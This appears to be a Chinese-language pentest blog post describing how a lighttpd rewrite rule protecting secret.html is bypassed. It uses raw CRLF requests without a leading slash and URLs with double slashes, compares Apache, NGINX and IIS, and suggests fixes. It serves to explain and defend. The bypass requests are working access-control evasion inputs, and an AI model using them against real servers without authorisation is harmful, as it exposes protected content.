轻量级服务器lighttpd的HTTP请求异常与重写规则绕过技术解析

本文详细分析了在lighttpd服务器中,通过构造异常HTTP请求(如省略前导斜杠或使用DOS换行符)来绕过URL重写规则的安全漏洞,并探讨了多种防御方案与其他主流Web服务器的对比测试结果。

无效HTTP请求与绕过lighttpd重写规则

在一次针对lighttpd服务器托管的Web应用测试中,我遇到了一个奇怪的情况,让我挠头不已,并动用了通常用于网络测试的技术。本文将讲述我如何解决两个问题,并发现lighttpd的一个有趣问题,导致了一个意外的漏洞。

如果您不想阅读整个故事,可以直接跳转到问题摘要和漏洞部分。

故事经过

作为测试的一部分,客户提供了文档根目录的列表,我在使用Burp的Repeater工具挑选几个看起来有趣的页面,准备用Intruder进行全面扫描。其中一个非常有趣的页面是secret.html。我请求它并获得了秘密内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4169396764"
Last-Modified: Wed, 18 Apr 2018 22:42:18 GMT
Content-Length: 43
Date: Fri, 20 Apr 2018 19:27:43 GMT
Server: lighttpd/1.4.45

This is top secret stuff you shouldn't see

这似乎太容易了,但我不抱怨,于是我转向浏览器,输入URL,却被告知“不,你不能查看数据”:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Date: Fri, 20 Apr 2018 19:28:13 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

这不是我预期的,也许是会话相关,但查看Burp代理中的请求,看起来相当相似。Firefox添加了一些额外的头部,但这是预期的。

如果不是Firefox,我可以用curl查看内容吗?既然我打开了Repeater标签,我从那里获取URL并放到命令行:

1
$ curl -i http://192.168.0.93secret.html

URL坏了,但我可以修复:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ curl -i http://192.168.0.93/secret.html
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Date: Fri, 20 Apr 2018 19:28:13 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

我没料到这个,于是我让Burp给我curl命令并运行:

1
2
3
$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
$'http://192.168.0.93secret.html'

没有返回,我挠头了一下,注意到URL又坏了。此时我应该意识到有问题,但我没有,我只是修复了URL并重试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
$'http://192.168.0.93/secret.html'

HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Date: Fri, 20 Apr 2018 19:29:32 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

好吧,非常奇怪,Burp可以获得秘密内容,但Firefox和curl不能,让我们用netcat试试。我建立连接,从Repeater复制请求…

1
2
3
4
$ nc 192.168.0.93 80
GET secret.html HTTP/1.1
Host: 192.168.0.93
Connection: close

没有返回,连接保持打开但没有服务器响应。也许我有拼写错误,所以我把请求放入文件并尝试:

1
$ cat get_secret_request | nc 192.168.0.93 80

另一个挂起的连接,没有响应。此时我非常困惑,这是我有的情况:

  • Burp可以获得秘密内容
  • 使用Burp提供的URL,curl不能获得秘密
  • Burp提供的curl命令不能获得秘密
  • 任何netcat尝试都挂起

请求之间一定有某些差异,但我看不到,所以让我们降低层次,用Wireshark查看。

首先,Burp请求:

1
2
3
GET secret.html HTTP/1.1
Host: 192.168.0.93
Connection: close

接下来,Burp创建的curl命令:

1
2
3
4
5
GET /secret.html HTTP/1.1
Host: 192.168.0.93
User-Agent: curl/7.47.0
Accept: */*
Connection: close

有几个差异,这个请求有curl用户代理和一个额外的accept头部。WAF和其他简单保护系统通常依赖用户代理检查,所以也许就这么简单,让我们再次尝试curl,移除这些额外的头部:

1
2
3
4
$ curl -i -s -k  -X $'GET' \
-H $'Host: 192.168.0.93' -H $'Connection: close' \
-H $'User-Agent:' -H $'Accept:' \
$'http://192.168.0.93/secret.html'

盯着这些请求,它们看起来相同,但我发现了差异,Burp请求的是secret.html,curl请求的是/secret.html。那个额外的前导/一定是差异,这也解释了为什么Burp给我的URL和它创建的curl命令都缺少/。Burp能够发出请求,因为页面名称在请求中指定,但curl要求页面是URL的一部分。

既然我无法用curl重现请求,让我们回到netcat,看看为什么失败了。让我们在Wireshark中查看netcat连接:

1
2
3
GET secret.html HTTP/1.1
Host: 192.168.0.93
Connection: close

并排比较,两个请求看起来相同,请求都指向secret.html而不是/secret.html,但一定有某些差异,无论多小。十六进制视图是什么样子?

1
2
3
4
00000000  47 45 54 20 73 65 63 72  65 74 2e 68 74 6d 6c 20   GET secret.html 
00000010  48 54 54 50 2f 31 2e 31  0a 48 6f 73 74 3a 20 31   HTTP/1.1.Host: 1
00000020  39 32 2e 31 36 38 2e 30  2e 39 33 0a 43 6f 6e 6e   92.168.0.93.Conn
00000030  65 63 74 69 6f 6e 3a 20  63 6c 6f 73 65 0a 0a      ection: close..

经过一番凝视,我终于发现了差异,Burp请求使用DOS换行符(\r\n),netcat使用Unix(\n)。既然我有请求在文件中,用vim改变换行符很容易,只需打开文件,输入:

1
:set ff=dos

然后保存。如果您不是vim用户,dos2unix包中的unix2dos应用程序也是一个选项。

转换后,让我们再试一次:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4169396764"
Last-Modified: Wed, 18 Apr 2018 22:42:18 GMT
Content-Length: 43
Connection: close
Date: Fri, 20 Apr 2018 21:35:12 GMT
Server: lighttpd/1.4.45

This is top secret stuff you shouldn't see

中奖了!现在我可以通过netcat重现请求,让我们检查是否是前导/造成了差异。我放入/并重试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ cat get_secret_request_dos | nc 192.168.0.93 80
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "4177750045"
Last-Modified: Wed, 18 Apr 2018 22:36:19 GMT
Content-Length: 40
Connection: close
Date: Fri, 20 Apr 2018 21:39:01 GMT
Server: lighttpd/1.4.45

You are not allowed to see that content

就是这样,请求secret.html获得访问,请求/secret.html被拒绝。这种类型的请求无法通过浏览器或任何其他将完整URL作为参数的工具发出,请求只能由理解页面和主机是两个独立实体的东西发出。

所以现在我可以重现问题,但我不知道为什么一开始有差异。这很烦人,但我想我可以在某个时候与开发人员讨论,看看他们是否有任何想法。

稍后…

除了进行应用测试,客户还要求审查服务器配置,作为其中的一部分,他们提供了lighttpd配置,我正在审查时发现了这一行:

1
2
3
url.rewrite-once = (
    "^/secret.html" => "/not_permitted.html"
)

看起来相当简单,任何对以/secret.html开头的页面名称的请求将被内部重定向到/not_permitted.html。但由于我请求的是secret.html,而不是/secret.html,这个规则不适用于我,我没有被重定向,因此可以查看秘密内容。

知道这一点后,我想看看是否可以用curl或浏览器查看内容。我尝试的第一个URL是:

1
http://192.168.0.93/./secret.html

但curl和我尝试的所有浏览器在发出请求之前简化了这个,所以我最终仍然得到/secret.html。我尝试了各种./和../组合,都失败了,直到我终于用这个成功了:

1
http://192.168.0.93/.././..////secret.html

反向操作直到它停止工作,我发现虽然点被简化,但额外的斜杠没有,因此以下URL是有效的,并让我获得秘密数据,因为请求的文件是//secret.html,它与正则表达式不匹配。

1
http://192.168.0.93//secret.html

确认这个URL在各种浏览器中工作后,我有了一些坚实的东西可以放入报告作为利用示例。虽然花了一些时间才全部弄清楚,但这比给Repeater的截图并说“看,我得到了你的数据,但我不知道如何”要好得多。

我希望您发现我调试这个漏洞的过程有用。它有助于表明计算机是确定性的,事情背后有原因,有时只是需要一些工作来找出规则是什么。一旦您知道规则,玩游戏并获胜通常就容易得多。

其他Web服务器

我决定对Apache、NGINX和IIS尝试这个,所有三个都拒绝了请求,并返回“400 Bad Request”响应。我还确认所有三个都对DOS或Unix换行符感到满意。

Apache

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Date: Fri, 20 Apr 2018 20:26:09 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 304
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at 192.168.0.93 Port 80</address>
</body></html>

错误日志文件中还有以下条目:

1
[Fri Apr 20 20:26:09.244512 2018] [core:error] [pid 31042] [client 192.168.0.3:47832] AH00126: Invalid URI in request GET secret.html HTTP/1.1

NGINX

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ cat get_secret_request | nc 192.168.0.93 80
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3
Date: Fri, 20 Apr 2018 19:22:39 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>

NGINX日志文件中没有条目。

IIS

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ cat get_secret_request_dos | nc microsoft.com 80
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 22 Apr 2018 18:00:10 GMT
Connection: close
Content-Length: 324

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid URL</h2>
<hr><p>HTTP Error 400. The request URL is invalid.</p>
</BODY></HTML>

我无法访问IIS日志来检查条目。

防御措施

最简单的防御是不将任何您不想浏览的内容存储在文档根目录中。如果secret.html存储在文档根目录之外,它仍然可以被任何需要它的页面使用,但无法在URL中引用它。

通过一些实验,看起来mod_access函数被传递了一个清理过的页面名称,如果需要,添加了前导斜杠,并移除了任何额外的斜杠,因此即使使用我们格式错误的请求,以下拒绝规则也会给出“403 Forbidden”:

1
2
3
$HTTP["url"] =~ "^/(secret.html)$" {
    url.access-deny = ("")
}

然后可以设置server.errorfile-prefix选项来提供自定义403页面。

如果您想用重写规则修复它,最简单的方法是从正则表达式中移除前导斜杠:

1
"secret.html" => "/not_permitted.html"

这将阻止访问任何在其名称中包含secret.html的页面。如果这是网站上唯一的此类页面,解决方案有效,如果其他人拥有页面view_secret.html,您刚刚为他们创造了一大堆问题,试图弄清楚为什么他们不能再看到他们的页面。

这是一个更好的规则,它说,从页面名称的开始,任意数量的斜杠后跟secret.html。这防止了我们最初的绕过,因为允许零斜杠,以及后来使用两个或更多斜杠的情况。

1
"^[/]*secret.html" => "/not_permitted.html"

我仍然认为这不是一个完美的解决方案,因为可能有其他字符可以插入到页面名称中,从而绕过规则。

最后一个解决方案将取决于secret.html的目的。如果它是一个由其他页面引入的模板文件,可能可以构建一些逻辑,使其除非以正确方式访问,否则不揭示其内容,例如通过执行与引用它的页面相同的身份验证和授权检查。

tl;dr

对于那些没有阅读完整帖子的人,以下是亮点:

  • 对lighttpd的HTTP请求必须使用DOS(\r\n)换行符,而不是Unix(\n)。
  • lighttpd接受对没有前导/的页面的请求,Apache、NGINX和IIS都拒绝这些。
  • url.rewrite获取请求的确切页面名称。
  • $HTTP[“url”]获取清理过的页面名称。
  • 计算机是确定性的,如果它们看起来不是,您只是不理解它们遵循的规则。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计